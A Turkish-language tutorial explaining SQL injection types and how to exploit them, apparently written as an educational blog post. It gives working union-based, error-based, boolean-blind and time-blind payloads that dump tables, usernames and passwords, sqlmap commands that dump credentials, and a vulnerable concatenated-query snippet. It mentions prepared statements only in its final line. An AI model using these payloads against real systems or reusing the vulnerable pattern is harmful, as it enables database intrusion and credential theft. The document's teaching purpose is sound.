SQLI (Structured Query Language Injection) Nedir?
SQL Injection Nedir?
En kısa tanımıyla SQL Injection (SQLi), bir saldırganın web uygulaması üzerinden veritabanı sorgularına müdahale etmesine olanak tanıyan bir güvenlik açığıdır. Bu açık sayesinde saldırganlar, normalde görmemeleri gereken verilere ulaşabilir veya bu verileri değiştirebilirler.
Neden Oluşur?
SQLi’nin temel nedeni, kullanıcıdan alınan verinin herhangi bir filtreleme veya temizleme işleminden geçirilmeden doğrudan SQL sorgusuna dahil edilmesidir.
Aşağıdaki kod örneğinde, dışarıdan gelen id değişkeni sorguya birleştirme (+) yöntemiyle eklenmiştir:
id = request.get(‘id’)
query = “SELECT * FROM haberler WHERE id =” + id
result = db.execute(query)
Saldırıyı başlatmak için sistemin normal işleyişindeki bir giriş noktasını hedef alırız. Buna Entry Point denir.
SQLI Nasıl Tetiklenir?
Kullanıcı girdisi uygun şekilde filtrelenmediğinde veya parametrelenmediğinde, veritabanı motoru bu girdiyi veri olarak değil SQL komutunun bir parçası olarak yorumlayabilir. Bu durumda saldırgan sorgunun mantığını değiştirebilir ve SQL Injection oluşur.
SQL Injection Türleri Nelerdir?
SQL Injection saldırıları, saldırganın veritabanından bilgi alma yöntemine göre üç ana kategoriye ayrılır:
1. In-Band SQL Injection:
A. Union-Based SQL Injection:
B. Error-Based SQL Injection:
2. Blind SQL Injection:
A. Boolean-Based Blind SQL Injection:
B. Time-Based Blind SQL Injection:
3. Out-of-Band SQL Injection:
1. In-Band SQL Injection: Saldırıyı gerçekleştirmek ve sonuçları almak için aynı iletişim kanalının kullanıldığı en yaygın türdür. Yani yazdığınız kodun sonucu mevcut ekran üzerinden gelir.
A. Union-Based SQL Injection
Bu teknikte, orijinal sorgunun yanına “UNION” operatörü eklenerek veritabanındaki diğer tablolardan veri çekilir. Saldırının başarılı olması için iki kritik kural vardır:
- Sütun Sayısı: Orijinal sorgu ile eklenen sorgunun sütun sayısı aynı olmalıdır.
- Veri Türü Uyumu: Çekilecek verinin türü, orijinal sütunun veri türüyle (örn. string) eşleşmelidir.
Union tabanlı bir saldırıda her şeyden önce hedef tablonun kaç sütundan oluştuğunu netleştirmemiz gerekir. Çünkü yanlış sayıda sütun gönderirsek veritabanı sorguyu reddedecek ve işlem başarısız olacaktır. Bu tespiti yapmak için genellikle iki farklı yaklaşım izleriz:
ORDER BY İle Sutün Sayısını Bulma
Bu yöntem, işin en pratik ve hızlı yoludur. SQL’deki ORDER BY komutunu, sonuçları belirli bir sütun numarasına göre sıralamak için kullanırız. Eğer olmayan bir sütun numarasına göre sıralama yapmaya kalkarsak sistem hata verir.
‘ ORDER BY 1 diyerek başlar ve sayıyı kademeli olarak artırırız. Örneğin 1 ve 2’de sayfa normal yüklenirken, 3 yazdığımızda hata alıyorsak veya içerik kayboluyorsa; bu durum bize veritabanında sadece 2 sütun olduğunu kanıtlar. Yani hata aldığımız sayının bir eksiği, bizim hedef sütun sayımızdır.
UNION SELECT İle Sutün Sayısını Bulma
Eğer ORDER BY yöntemi sonuç vermezse, doğrudan UNION SELECT sorgusuna NULL değerleri ekleyerek manuel bir deneme yaparız. Buradaki temel mantık, sütun sayısını tutturana kadar sorguyu genişletmektir.
Örneğin, UNION SELECT NULL — yazarak başlarız; eğer hata alıyorsak bir NULL daha ekleriz. Sayfa ne zaman hata vermeyi bırakıp normal içeriğini gösterirse, o an doğru sütun sayısına ulaşmışız demektir. Burada neden özellikle NULL kullanmamızın sebebi, veritabanındaki her türlü veri tipiyle (sayı, metin, tarih vb.) uyumludur. Bu sayede veri türü uyuşmazlığından kaynaklanabilecek hataların önüne geçmiş oluruz.
Örnek: <url>/product.php?id=1
Saldırgan, bu URL parametresine SQL kodları enjekte ederek sistemde zafiyet olup olmadığını ve ne düzeyde bilgi sızdırabileceğini analiz eder.
SQL Injection Var mı Tespit Et: İlk adım olarak parametrenin enjekte edilebilir olup olmadığı test edilir. Bunun için klasik tırnak testleri uygulanır:
- <url>/product.php?id=1′
- <url>/product.php?id=1”
Sayfa hata veriyor ya da davranış değiştiriyorsa SQL Injection ihtimali yüksektir. Ayrıca sayfa çıktısında “You have an error in your SQL syntax” gibi hata mesajları görülmesi, doğrudan sorguya müdahale edilebildiğini gösterir.
Sütun Sayısını Tespit Et: Union sorgularının çalışması için her iki SELECT ifadesinin aynı sütun sayısına sahip olması gerekir. Bu nedenle sütun sayısı belirlenmelidir:
- <url>/product.php?id=1′ UNION SELECT 1 — –
- <url>/product.php?id=1′ UNION SELECT 1,2 — –
- <url>/product.php?id=1′ UNION SELECT 1,2,3 — –
Hata almayana kadar devam ediyoruz.
Sütunların Veri Türlerini Öğren: Sorgunun çalıştığı ancak sayfada veri dönmeyen durumlarda, sütunlara uygun veri türü gönderilerek çıktının nerede görüntülendiği test edilir:
- <url>/product.php?id=1′ UNION SELECT ‘test’, NULL, NULL — –
- <url>/product.php?id=1′ UNION SELECT NULL, ‘test’ ,NULL — (test yazısını gördük)
Sayfada “test” ifadesi göründüğü takdirde, ikinci sütunun string ve çıktıya yansıyan bir alan olduğu anlaşılır. Bu sütunlar bilgi sızdırmak için kullanılabilir.
İçerik Çek: Görüntülenen sütunlara bilgi çekebilecek sorgular eklenerek sistemden veri elde edilir.
Tabloları listelemek için:
- ‘UNION SELECT NULL,table_name,NULL FROM information_schema.tables — (user adlı bir tablo adı gördük)
Bir tabloya ait sütunları görüntülemek için:
- ‘ UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name=’users’ — (username ve password adlı sütun gördük)
Tabloda kullanıcı adı ve parola olduğunu varsayarsak:
- ‘ UNION SELECT NULL, username, password FROM users — –
Concat ile kullanıcı adı ve parolayı tek satıra toplamak için kullanabiliriz.
- ‘ UNION SELECT NULL, group_concat(username, 0x3a, password), NULL FROM users —
B. Error-Based SQL Injection:
Bazı durumlarda web uygulaması, sorgu sonuçlarını doğrudan ekranda göstermez ancak veritabanından dönen hata mesajlarını gizlemez. Error-Based SQLi, bu hata mesajlarını birer bilgi sızdırma aracına dönüştürdüğümüz tekniktir. Burada amaç, bilinçli olarak hatalı bir sorgu gönderip, veritabanının “Hata: Şu isimli tablo bulunamadı” veya “Şu veri türü geçersizdir” gibi yanıtlarının içine istediğimiz bilgileri sıkıştırmaktır.
Bu yöntemde genellikle EXTRACTVALUE veya CASE gibi fonksiyonlar kullanılır. EXTRACTVALUE, normalde bir XML verisi içinden değer okumaya yarar; ancak biz ona geçersiz bir format (örneğin bir SQL sorgusu sonucu) verirsek, veritabanı bize “Hatalı format: [Sorgumuzun Sonucu]” şeklinde bir hata döndürür. Böylece aradığımız bilgi hata mesajının içinde karşımıza çıkar.
Örnek: <url>/product.php?id=1
Veritabanı Adını Öğren:database() fonksiyonu aktif veritabanının adını döndürür. EXTRACTVALUE ise bunu hatalı bir XPath (XML içindeki veriyi seçmek için kullanılan bir sorgu dilidir.) sorgusu içine gömerek hata mesajında görünür hale getirir.
- <url>/product.php?id=EXTRACTVALUE(1, concat(1, (select database())))
Tabloları Listele: LIMIT ve OFFSET değerleri değiştirilerek veritabanındaki tüm tablolar sırayla elde edilebilir.
- <url>/product.php?id= EXTRACTVALUE(1, concat(1, (select table_name from information_schema.tables where table_schema=database() limit 1 offset 1)))
Sütun Adlarını Bul:Hedef tablo belirlendikten sonra “table_name” parametresi değiştirilerek farklı tablolardaki sütunlar da listelenebilir.
- <url>/product.php?id= EXTRACTVALUE(1, concat(1, (select column_name from information_schema.columns where table_name=’users’ limit 1)))
İçerik Çek:Sütun adları öğrenildikten sonra tablodaki veriler doğrudan hata mesajı üzerinden okunabilir.
- <url>/product.php?id= EXTRACTVALUE(1, concat(1, (select pass from users)))
2. Blind SQL Injection
Bu tür SQL enjeksiyonunda, saldırgan veritabanından doğrudan bir veri (hata mesajı veya tablo içeriği) alamaz. Uygulama sadece “Giriş Başarılı” veya “Giriş Başarısız” gibi genel yanıtlar verir. Saldırgan, veritabanına “Evet/Hayır” soruları sorarak veriyi karakter karakter tahmin etmek zorundadır.
A. Boolean-Based Blind SQL Injection
Bu yöntemde, gönderilen koşulun doğru (true) veya yanlış (false) olmasına göre sayfa içeriğinin değişmesi hedeflenir. Eğer sorduğumuz soru doğruysa sayfa normal yüklenir, yanlışsa sayfadaki bir içerik kaybolur.
SUBSTRING(): Bir metnin içinden belirli bir karakteri seçmeye yarar.
ASCII(): Seçilen karakterin sayısal (ASCII) değerini verir. Bu, “büyüktür/küçüktür” sorguları yaparak karakteri daha hızlı bulmamızı sağlar.
Örnek:<url>/product.php?id=1
Veritabanı Adını Öğrenme: Veritabanı isminin ilk harfinin ‘a’ olup olmadığını test ederiz. Eğer sayfa normal açılıyorsa ilk harf ‘a’ demektir.
- <url>/product.php?id=1 AND SUBSTRING((SELECT database()),1,1)=’a’
Daha Pratik Yöntem (ASCII): Karakterleri tek tek denemek yerine, ASCII tablosundaki sayısal değerlerini karşılaştırarak (Büyüktür/Küçüktür) aralığı daraltabiliriz.
- <url>/product.php?id=1 AND ASCII(SUBSTRING((SELECT database()),1,1)) > 100
Tabloları Listele: “information_schema” tablosunu kullanarak tabloların isimlerini karakter karakter sorgularız. LIMIT 0,1 ilk tabloyu, LIMIT 1,1 ikinci tabloyu hedef alır.
- <url>/product.php?id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 1, 1)) > 100
Sütun (Kolon) Adlarını Bul:Tablo ismi belirlendikten sonra (örneğin ‘users’), o tablodaki sütunların isimlerini avlarız.
- <url>/product.php?id=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name=’users’ LIMIT 0,1), 1, 1)) > 100
İçerik Çek: Tablo ve sütun netleştiğinde, asıl hedefimiz olan veriyi (parolalar vb.) aynı yöntemle karakter karakter çekeriz.
- <url>/product.php?id=1 AND ASCII(SUBSTRING((SELECT pass FROM users LIMIT 0,1), 1, 1)) > 100
B. Time-Based Blind SQL Injection
Bu yöntemde, sayfa içeriği doğru veya yanlış sorgularda hiç değişmese bile veritabanının yanıt verme süresi üzerinden sonuca varılır. Eğer gönderdiğimiz koşul doğruysa, veritabanı SLEEP komutuyla belirli bir süre bekletilir; yanıt geç gelirse koşulun doğru olduğunu anlarız.
IF(koşul, doğruysa_yap, yanlışsa_yap): Mantıksal bir sorgu kurmamızı sağlar. SLEEP(5): Veritabanının yanıtı 5 saniye boyunca bekletmesini (uyumasını) sağlar.
Örnek: <url>/product.php?id=1
Veritabanı Adını Öğrenme: Veritabanı isminin ilk harfinin ASCII değeri 100’den büyükse sistem 5 saniye bekler. Eğer sayfa anında yüklenirse değer 100’den küçüktür.
- <url>/product.php?id=1 AND IF(ASCII(SUBSTRING((SELECT database()),1,1)) > 100, SLEEP(5), 0)
Tabloları Listele: information_schema tablosu kullanılarak karakter karakter tahmin yürütülür. LIMIT 0,1 ilk tabloyu hedef alır.
- <url>/product.php?id=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 1, 1)) > 100, SLEEP(5), 0)
Sütun (Kolon) Adlarını Bul: Belirlenen tablo içindeki sütun isimleri, zaman gecikmesi testiyle tek tek tespit edilir.
- <url>/product.php?id=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name=’users’ LIMIT 0,1), 1, 1)) > 100, SLEEP(5), 0)
İçerik Çek: Tablo ve sütun isimleri netleştikten sonra, hücre içindeki veriler (örneğin parolalar) zaman tabanlı sorgu ile sızdırılır.
- <url>/product.php?id=1 AND IF(ASCII(SUBSTRING((SELECT pass FROM users LIMIT 0,1), 1, 1)) > 100, SLEEP(5), 0)
3. Out-Of-Band SQL Injection
Bu yöntem, SQL Injection türleri arasında tespit edilmesi ve sömürülmesi en zor olan, en gelişmiş seviyedir. Uygulamanın yanıtında doğrudan veri alınamadığı veya zaman tabanlı (Blind) tekniklerin işe yaramadığı durumlarda kullanılır. Özellikle veritabanı sorguları arka planda (asenkron) çalışıyorsa tercih edilir. Temel mantığı, veritabanını zorlayarak veriyi saldırganın kontrolündeki dış bir sunucuya (DNS veya HTTP üzerinden) bir “istek” olarak göndertmektir.
Bazı sistemlerde gönderdiğiniz veri hemen işlenmez, bir kuyruğa atılır ve arka planda çalışan başka bir servis tarafından sorgulanır. Kullanıcı sadece “İşlem başlatıldı” mesajı görür ama sorgu sonucunu göremez. Bu tür asenkron yapılarda veriyi dışarı sızdırmak (exfiltration) için OOB tek çözüm yoludur.
Bu yöntemde temel amaç, veritabanını dışarıdaki bir adrese “istek” atmaya zorlamaktır. Koda kendi kontrolümüzdeki bir sunucu adresini (URL) ekleriz; ancak bu adresin sonuna öğrenmek istediğimiz veritabanı bilgisini (şifreler, versiyon vb.) bir ek gibi yapıştırırız.
Veritabanı, sanki bir dış dosyaya veya web sayfasına ihtiyacı varmış gibi bizim hazırladığımız o adrese ulaştığında, aslında yanındaki o ek bilgiyi de bizim sunucumuza taşımış olur. Biz de kendi sunucu kayıtlarımıza (log) baktığımızda, gelen ziyaretçi adresinin yanındaki bu “ek” bilgiyi okuyarak veriyi ele geçiririz.
SQLmap Nedir?
SQLmap, web sitelerindeki SQL Injection açıklarını otomatik olarak tespit eden ve sömüren güçlü bir siber güvenlik aracıdır.
Manuel olarak yapıldığında saatlerce sürebilecek karmaşık SQL sorgularını ve veri çekme işlemlerini, sizin yerinize saniyeler içinde yapar. Kısacası; hedef sistemde bir açık olup olmadığını tarayan, varsa bu açığı kullanarak veritabanındaki tüm bilgileri (kullanıcı adları, şifreler vb.) tek bir komutla önünüze seren bir “otomatik saldırı” aracıdır.
Örnek: <url>/product.php?id=1
Zafiyet Tespiti: İlk olarak hedefte gerçekten bir açık var mı diye kontrol ederiz. “–batch”:Karşına çıkan “Emin misin?”, “Devam edelim mi?” gibi sorulara otomatik “Evet” cevabını verdirir.
- sqlmap -u “<url>/product.php?id=1” –batch
Veritabanı İsimleri: Açık bulununca, sistemdeki tüm veritabanlarını listeleriz. “–dbs”: Veritabanlarını gösterir.
- sqlmap -u “<url>/product.php?id=1” –dbs
(Örn: magaza_db ismini bulduk.)
Tablo İsimleri: Hedeflediğimiz veritabanının içindeki tabloları listeleriz. “-D”: Veritabanı seçer. –tables: Tabloları döker.
- sqlmap -u “<url>/product.php?id=1” -D magaza_db –tables
(Örn: users tablosunu bulduk.)
Sütun İsimleri: users tablosunda hangi başlıklar (kullanıcı adı, şifre vb.) olduğunu görürüz. “-T” :Tablo, “–columns”: Sütunları döker.
- sqlmap -u “<url>/product.php?id=1” -D magaza_db -T users –columns
(Örn: user ve pass sütunlarını bulduk.)
İçerik Çek: İstediğimiz bilgileri ekrana yazdırırız. “-C”: Hangi sütunu çekeceğini seçer. “–dump”: İçindeki her şeyi indirir.
- sqlmap -u “<url>/product.php?id=1” -D magaza_db -T users -C “user,pass” –dump
SQL Injection’dan korunmanın en etkili yolu ise kullanıcı girdilerini sorguya doğrudan eklemek yerine Prepared Statements (Parametreli Sorgular) kullanmaktır.